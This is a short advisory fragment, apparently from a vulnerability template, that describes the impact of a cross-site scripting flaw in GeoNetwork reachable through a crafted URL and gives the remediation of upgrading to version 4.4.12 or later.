impact: |
An unauthenticated attacker can craft a malicious URL that executes arbitrar JavaScript when opened by a victim. If a privileged GeoNetwork user such as an administrator visits the URL, the attacker may perform actions within the security context of that user.
remediation: |
Upgrade GeoNetwork to version 4.4.12 or later.
